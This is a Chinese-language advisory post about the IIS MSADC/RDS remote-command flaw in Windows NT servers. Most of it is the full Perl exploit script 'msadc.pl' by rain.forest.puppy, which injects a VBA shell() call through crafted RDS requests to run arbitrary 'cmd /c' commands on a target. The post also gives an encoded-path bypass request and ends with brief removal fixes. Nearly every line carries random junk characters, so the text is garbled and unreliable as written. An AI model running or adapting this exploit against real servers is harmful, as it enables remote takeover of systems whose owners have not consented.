IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Q'-g+aN oAaUXkQE 涉及程序：
e (nT2E Microsoft NT server
#+$pE@u7A n?uVq6c 描述：
L[v-5 u) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
nO-1^HUl $&IF#uDf 详细：
e$!01Y $HI 如果你没有时间读详细内容的话，就删除:
sXe=4`O c:\Program Files\Common Files\System\Msadc\msadcs.dll
O #[+=
^ 有关的安全问题就没有了。
` s [77V> m"3gTqG 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
D}4*Il? d@-s_gw 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
g Mhn\ 关于利用ODBC远程漏洞的描述，请参看:
um.s :vj$ 4rX jso| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm / ;P* ? Y\#+ -E 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
,]CZ(q9- http://www.microsoft.com/security/bulletins/MS99-025faq.asp oqM(?3 yv n`'v8 `a] 这里不再论述。
Py?EA*(d# VL6_in( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
lJZ-*"9 V 7,vvL8\NHu /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>v1E ;-ZA 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
B_Qi #$/SM_X14C ^)-* Ubzz #将下面这段保存为txt文件，然后: "perl -x 文件名"
P|M#S9^] v(Vm:oK, #!perl
.4I "[$?Q #
*hugQh ]a # MSADC/RDS 'usage' (aka exploit) script
8Ter]0M& #
Hz A+Oi # by rain.forest.puppy
B EU^,r3z #
Hzos$1DJ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Fh)`A5# # beta test and find errors!
wD9Gl.uQ bD*z"e use Socket; use Getopt::Std;
TF0D QP getopts("e:vd:h:XR", \%args);
P? QVT;] a+w c"RQ
| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
N%3
G\|~Q bBwMx{iNNz if (!defined $args{h} && !defined $args{R}) {
~lg1S print qq~
<<Z t.!hS Usage: msadc.pl -h <host> { -d <delay> -X -v }
u+
wKs` -h <host> = host you want to scan (ip or domain)
(WoKrd.! -d <seconds> = delay between calls, default 1 second
o *\c V 6 -X = dump Index Server path table, if available
'V H%cz* -v = verbose
mn5mdrv3WZ -e = external dictionary file for step 5
0W}iKT[Z I,rs&m?/m Or a -R will resume a command session
V s /Z8t > J!J: ~; exit;}
Mv\odf\] ,gdf7&r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
p xj}%LH if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
s#f6qj if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
# HgXTC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
x{=@~c%eh $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hu=b , if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\a\J 0 &Z .tFMa: if (!defined $args{R}){ $ret = &has_msadc;
/3] b!lFZZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
jGp|:!' w .JkcCEe{G print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D7'P^*4_B . "cmd /c ";
*ud" ?{)Z $in=<STDIN>; chomp $in;
lQ t&K1m $command="cmd /c " . $in ;
jg,oGtRz dV~yIxD}C* if (defined $args{R}) {&load; exit;}
, [ogh Y(:.f-Du print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
O( P
,! &try_btcustmr;
47(/K2 hvc%6A\nm print "\nStep 2: Trying to make our own DSN...";
n aQ0TN, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*{/L7])gm /Ah |Po print "\nStep 3: Trying known DSNs...";
iJIDx9 )Z &known_dsn;
d{~5tv- H =CCxY7)M+. print "\nStep 4: Trying known .mdbs...";
4^? J BpBZ &known_mdb;
w_*UFLMSqR Dg:2*m_!j{ if (defined $args{e}){
4 nIs+ print "\nStep 5: Trying dictionary of DSN names...";
l}#z#L2,` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Hcts ^zm2u IV#kF}9$ print "Sorry Charley...maybe next time?\n";
KINKq`Sx exit;
GpW5)a o*d+W7l ##############################################################################
vai.w-}Z VaLx- RX sub sendraw { # ripped and modded from whisker
8Gw0;Uu8D sleep($delay); # it's a DoS on the server! At least on mine...
kO1.27D my ($pstr)=@_;
4sj:%% UE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^CZ)!3qd1 die("Socket problems\n");
M*& tVG if(connect(S,pack "SnA4x8",2,80,$target)){
S6J7^'h select(S); $|=1;
yUZ;keQ_Tw print $pstr; my @in=<S>;
!A5UT- select(STDOUT); close(S);
$U{ \T4 return @in;
O{B[i y(C } else { die("Can't connect...\n"); }}
5>o <! 0g 2E@ ! ##############################################################################
upD 2vtU ;k<n}shD sub make_header { # make the HTTP request
Hg~O0p}[ my $msadc=<<EOT
<G5d{rKZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`0]kRA8= User-Agent: ACTIVEDATA
?< Tt1fpG Host: $ip
Do&em8i
z Content-Length: $clen
R0 g- Connection: Keep-Alive
1|+Z mo" Pf?*bI ADCClientVersion:01.06
3L;GfYr0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ujo3"j[b l1Zf#]x --!ADM!ROX!YOUR!WORLD!
) \iO wA Content-Type: application/x-varg
hx'p0HDta Content-Length: $reqlen
@M:Uf7 %*>ee[^L , EOT
\~3g*V ; $msadc=~s/\n/\r\n/g;
~"oxytJ return $msadc;}
0K0[mC}ZwM <> jut ##############################################################################
~|LlT^C |_=o0l f sub make_req { # make the RDS request
hQm"K~SW= my ($switch, $p1, $p2)=@_;
(#4 my $req=""; my $t1, $t2, $query, $dsn;
ac/=%om8u "R"7'sJ MI if ($switch==1){ # this is the btcustmr.mdb query
S\qYw(G $query="Select * from Customers where City=" . make_shell();
H J&|&tT $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UR/l M,N; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
O Oa}+^-j !9$xfg } elsif ($switch==2){ # this is general make table query
ypoJ4 E Z( $query="create table AZZ (B int, C varchar(10))";
J9tQ@3{f $dsn="$p1";}
Sdc
yL%6! {AJcYZV elsif ($switch==3){ # this is general exploit table query
}'?N+MN $query="select * from AZZ where C=" . make_shell();
'
9K4A'2[ $dsn="$p1";}
s'&/8RR SiD [54OM elsif ($switch==4){ # attempt to hork file info from index server
R\L0 $query="select path from scope()";
:/Zy=F9: $dsn="Provider=MSIDXS;";}
X,zqI 8x`? Yc elsif ($switch==5){ # bad query
Zcaec# $query="select";
i.0}d5Y $dsn="$p1";}
yJt0KUw@! a<Ru )Q?= $t1= make_unicode($query);
LX4*3c|i, $t2= make_unicode($dsn);
I?) .D?o $req = "\x02\x00\x03\x00";
C
*\
=Q $req.= "\x08\x00" . pack ("S1", length($t1));
Ab]`*h\U $req.= "\x00\x00" . $t1 ;
wKjL}1.k $req.= "\x08\x00" . pack ("S1", length($t2));
{=(GY @yU/ $req.= "\x00\x00" . $t2 ;
p8%/T> hK $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
W!$aK )]4u return $req;}
tMWDKatb !'4HUB>+ ##############################################################################
?m)3n0Uh R7/"ye:7J sub make_shell { # this makes the shell() statement
f0 ;Fokt( return "'|shell(\"$command\")|'";}
yQ33JQr a88(,: t ##############################################################################
~w <u! {Jv m * sub make_unicode { # quick little function to convert to unicode
BE54^U my ($in)=@_; my $out;
Cf-R?g n] for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
wnf'-dw] return $out;}
.A: #l? H_RVGAb U ##############################################################################
QE l:>HG IF<?TYy=3B sub rdo_success { # checks for RDO return success (this is kludge)
D[.;-4"_ my (@in) = @_; my $base=content_start(@in);
>x(3p@6p if($in[$base]=~/multipart\/mixed/){
+V"t't7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8vhg{L.. return 0;}
";jj ` \r_-gn'1b ##############################################################################
O-rHfIxY 99'e)[\ sub make_dsn { # this makes a DSN for us
29]T:I1d[ my @drives=("c","d","e","f");
H
/E.R[\+x print "\nMaking DSN: ";
F`l r5 foreach $drive (@drives) {
k79" xyXX print "$drive: ";
ogt<vn g my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<NV[8B#k] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
9{gY|2R_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6}aIb .j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
xWY%-CWY. return 0 if $2 eq "404"; # not found/doesn't exist
95.m^~5 if($2 eq "200") {
CJ *8x7-t foreach $line (@results) {
Z J:h] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
HPGMR4=ANS } return 0;}
(#Vkk]-p .O Lm{ ##############################################################################
kaSy 9Y{ &E0d{ 2 sub verify_exists {
%P!6cyQS my ($page)=@_;
C_SJ4Sh my @results=sendraw("GET $page HTTP/1.0\n\n");
[.M<h^xrB return $results[0];}
?a ~59!u W^}fAcQKH ##############################################################################
ZzU3j ^ }9w?[hXW" sub try_btcustmr {
[ P5+}@t my @drives=("c","d","e","f");
o6 JCy\Bx my @dirs=("winnt","winnt35","winnt351","win","windows");
9,7IsT8 ; ^waUJ\Z
foreach $dir (@dirs) {
3)jFv7LAU print "$dir -> "; # fun status so you can see progress
V%F^6ds$]0 foreach $drive (@drives) {
3P {
d~2 print "$drive: "; # ditto
#KC& ct
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
MP5
vc 5[ $reqlenlen=length( "$reqlen" );
-;/;d z; $clen= 206 + $reqlenlen + $reqlen;
LvlVZjT |@{4zoP_N my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(vX+
Yw if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
R`? '|G]P else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0 K
T.@P SE%B&8ZD ##############################################################################
m+y5Q&;f ('H[[YODh sub odbc_error {
~j%g?;#* my (@in)=@_; my $base;
(*{Y#XD{ my $base = content_start(@in);
{)E)&lL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
'CE3
|x\%K $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
EbEQ@6t $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"E4;M / $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{q=( x]C return $in[$base+4].$in[$base+5].$in[$base+6];}
Wn61;kV_) print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
C&Nga
`J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|"4+~z%/9! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
8UH
c,np QU4/hS;Ux ##############################################################################
cg16|
T06BrX sub verbose {
3q{op9_T7 my ($in)=@_;
8Z Y F% return if !$verbose;
KI* erK
[d print STDOUT "\n$in\n";}
q J)[2:.G ELh`|X ##############################################################################
PL;PId<9w XH9Y|FX%# sub save {
:bJT2o[ my ($p1, $p2, $p3, $p4)=@_;
FW](GWp`: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
S8 +GM print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
e^;<T9Esr close OUT;}
L9, ;zkgo mB.ybrig ##############################################################################
IM" "s] gP&G63^ sub load {
@FC|1=+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N3J T[7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ZbmBwW_ 7 @p=<IN>; close(IN);
!Ee#jCXS $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
uBdS}U $target= inet_aton($ip) || die("inet_aton problems");
_gAU`aO^ print "Resuming to $ip ...";
*fz]Q>2g a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)U6-&-07 if($p[1]==1) {
* z,] mi% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
rA<>k/a
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
~
Z kSYW< my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,ALE fepo if (rdo_success(@results)){print "Success!\n";}
;5i~McH#
t else { print "failed\n"; verbose(odbc_error(@results));}}
Dt)O60X3> elsif ($p[1]==3){
HF(pC7/a: if(run_query("$p[3]")){
qnFi./ print "Success!\n";} else { print "failed\n"; }}
7x 6q:4Ep\ elsif ($p[1]==4){
PVK. %y9 if(run_query($drvst . "$p[3]")){
wH?r522`c print "Success!\n"; } else { print "failed\n"; }}
$K_G|Wyi exit;}
3>Ne_kY tw<mZd2H ##############################################################################
c34s (>AC [SnnOq Ww sub create_table {
wrORyj my ($in)=@_;
7/ $r $reqlen=length( make_req(2,$in,"") ) - 28;
M e*woCos' $reqlenlen=length( "$reqlen" );
~ "eQPTd $clen= 206 + $reqlenlen + $reqlen;
ssf.ef$ my @results=sendraw(make_header() . make_req(2,$in,""));
@-^jbmu^
P return 1 if rdo_success(@results);
l1<]p dLTR my $temp= odbc_error(@results); verbose($temp);
dm;C @.ML return 1 if $temp=~/Table 'AZZ' already exists/;
@m#1[n; return 0;}
U|[+ M@F_L &OK[n1M ##############################################################################
1rnbUE w$E8R[J~P sub known_dsn {
9 E@}@ZV( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/w5~ O: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
EbG`q!C "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
G@Jl4iHug" "banner", "banners", "ads", "ADCDemo", "ADCTest");
8eAc 5by #YABb wH foreach $dSn (@dsns) {
$w:7$:k print ".";
&:]ej6 V'[ next if (!is_access("DSN=$dSn"));
;v}f7v ' if(create_table("DSN=$dSn")){
G<dWh.|`= print "$dSn successful\n";
\{g;|Z 1 if(run_query("DSN=$dSn")){
}&E'ox<S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]]R!MnU:$ print "Something's borked. Use verbose next time\n";}}} print "\n";}
@<^_ _." (x+C =1, ##############################################################################
h;s~I/e( h'QEwW sub is_access {
y<r@zb9 my ($in)=@_;
B #zu< z $reqlen=length( make_req(5,$in,"") ) - 28;
EZ N38T $reqlenlen=length( "$reqlen" );
Qp] -:b $clen= 206 + $reqlenlen + $reqlen;
-W6 r.E$mC my @results=sendraw(make_header() . make_req(5,$in,""));
EWU(Al T my $temp= odbc_error(@results);
oU\Q|mN( verbose($temp); return 1 if ($temp=~/Microsoft Access/);
y2_ ^lW% return 0;}
(] Zyk, [ do-mkvk ##############################################################################
oB BL7/L Q!%C:b sub run_query {
{c#{dT my ($in)=@_;
8 !{;yz $reqlen=length( make_req(3,$in,"") ) - 28;
5.]eF$x2 $reqlenlen=length( "$reqlen" );
D&)w =qIu $clen= 206 + $reqlenlen + $reqlen;
|i/Iv my @results=sendraw(make_header() . make_req(3,$in,""));
|I0O|Zdv return 1 if rdo_success(@results);
Q&JnF`* my $temp= odbc_error(@results); verbose($temp);
U]8 @ return 0;}
Ao2m" ym 'N7 AVj ##############################################################################
7Ud Qz[4 M` M sub known_mdb {
9f wFSJx my @drives=("c","d","e","f","g");
TgDx3U[ my @dirs=("winnt","winnt35","winnt351","win","windows");
/:<.Cn>- my $dir, $drive, $mdb;
h 2Kx my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~ qjnV K6 {0`'x # this is sparse, because I don't know of many
y4^w8'%MC my @sysmdbs=( "\\catroot\\icatalog.mdb",
\G+uK:PC, "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
=Wgz \uGJ "\\system32\\certmdb.mdb",
31FQ=(K "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.q!U@}k. AV t(e6H my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
! u4'1jd[d "\\cfusion\\cfapps\\forums\\forums_.mdb",
Vk3xWD~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"Z\^d R "\\cfusion\\cfapps\\security\\realm_.mdb",
mbZS J "\\cfusion\\cfapps\\security\\data\\realm.mdb",
RD$"ft]Vc "\\cfusion\\database\\cfexamples.mdb",
!awsQ!e| "\\cfusion\\database\\cfsnippets.mdb",
65@,FDg*i "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
sF+mfoMtG "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>$%rs c}^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
>k \lE( "\\cfusion\\database\\smpolicy.mdb",
&*w)/W "\\cfusion\\database\cypress.mdb",
7yp}*b{s "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
e>GX]tK "\\website\\cgi-win\\dbsample.mdb",
_&] B "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
PX5K-|R "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Dej2 -Y ); #these are just
SL j2/B0 foreach $drive (@drives) {
2V-zmyJs5 foreach $dir (@dirs){
zG[GyyAQ foreach $mdb (@sysmdbs) {
vv 9=g*"j print ".";
qYwEPGa\ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
O<:"Irq\qr print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
[ |:kS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
]O\m(of
R print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
D bL=2 } else { print "Something's borked. Use verbose next time\n"; }}}}}
XSw!_d X AnN< foreach $drive (@drives) {
#RyX}t X, foreach $mdb (@mdbs) {
gGtl*9a= print ".";
]V `L\ if(create_table($drv . $drive . $dir . $mdb)){
52zD!( print "\n" . $drive . $dir . $mdb . " successful\n";
nw)yK%`;M if(run_query($drv . $drive . $dir . $mdb)){
;q3"XLV(T[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*h H\H
} else { print "Something's borked. Use verbose next time\n"; }}}}
`Dn "<-9: }
&idPO{G *k (|r> ##############################################################################
BS6UXAf{|Z IpRdGT02 sub hork_idx {
]P5|V4FXo print "\nAttempting to dump Index Server tables...\n";
]csfK${ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*yDsK+[_ $reqlen=length( make_req(4,"","") ) - 28;
H J8rb $reqlenlen=length( "$reqlen" );
{dbPMx $clen= 206 + $reqlenlen + $reqlen;
U6B-{ l:W my @results=sendraw2(make_header() . make_req(4,"",""));
*[QFIDn: if (rdo_success(@results)){
;1wRo`RD my $max=@results; my $c; my %d;
nO{ m2&r+ for($c=19; $c<$max; $c++){
wcd1.$ n $results[$c]=~s/\x00//g;
tlz+ !> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
G< 8d=} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
7F Tf8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
oa K&!$S] $d{"$1$2"}="";}
v&8%t 7| foreach $c (keys %d){ print "$c\n"; }
-9f>
rH\3 } else {print "Index server doesn't seem to be installed.\n"; }}
I 'qIc ? [ q% Rx!L ##############################################################################
@_+B'<2 '/ >7pB sub dsn_dict {
E &wz0d;gf open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^J[r<Dm8F while(<IN>){
{cW%i: $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
AMm)E next if (!is_access("DSN=$dSn"));
uxKj7!( # if(create_table("DSN=$dSn")){
9A-=T>| of print "$dSn successful\n";
ISbhC!59 if(run_query("DSN=$dSn")){
q>E[)\+y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"s6\l~+9l print "Something's borked. Use verbose next time\n";}}}
&rj)Oh2 print "\n"; close(IN);}
Zdm7As] lV*dQwa?i ##############################################################################
}3Mnq?.- j\uh]8N3< sub sendraw2 { # ripped and modded from whisker
q\`0'Z, sleep($delay); # it's a DoS on the server! At least on mine...
>7[o=!^:4 my ($pstr)=@_;
{Y(# <UDM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q8~|0X\.g die("Socket problems\n");
DC5^k[m if(connect(S,pack "SnA4x8",2,80,$target)){
RAh4#8] print "Connected. Getting data";
|P>Yf0 open(OUT,">raw.out"); my @in;
n@`:"j%s_ select(S); $|=1; print $pstr;
OX
r%b while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*?-,=%,z/ close(OUT); select(STDOUT); close(S); return @in;
!=Hu?F p } else { die("Can't connect...\n"); }}
e[:i`J2 z+k[HE^S ##############################################################################
WcG}9)9 XuY#EJbZ sub content_start { # this will take in the server headers
Ei
Yj `P my (@in)=@_; my $c;
T-
|36Os4 for ($c=1;$c<500;$c++) {
n;F/}:c_a if($in[$c] =~/^\x0d\x0a/){
;Sq n
w if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$$ tFP"pZ else { return $c+1; }}}
'Y%@fZf x return -1;} # it should never get here actually
2# 1G)XI ^_Ap?zn ##############################################################################
}+F&=-P) [ 1$p}x sub funky {
GgNqc i, my (@in)=@_; my $error=odbc_error(@in);
w|A H E if($error=~/ADO could not find the specified provider/){
YIc|0[ ]*| print "\nServer returned an ADO miscofiguration message\nAborting.\n";
8q5
`A Gl exit;}
7@6B\':
if($error=~/A Handler is required/){
[2 yxTK print "\nServer has custom handler filters (they most likely are patched)\n";
+4r.G(n), exit;}
bh ~"LQS1 if($error=~/specified Handler has denied Access/){
@uJ^k
>B print "\nServer has custom handler filters (they most likely are patched)\n";
M(8Mj[>>Rj exit;}}
?uBZ"^' zBKfaQI, ##############################################################################
?##3E,
/"9 Z +vT76g3 sub has_msadc {
~@Wg3'& my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
.C=I~Z my $base=content_start(@results);
W|yF jE&dr return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
68
*~5] return 0;}
Z.iQm{bI ]DO ~7p[ ########################
! go$J]T W~QH"Sq ]w+n39da 解决方案：
0&@pD`K e 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
cj5; X K 2、移除web 目录: /msadc
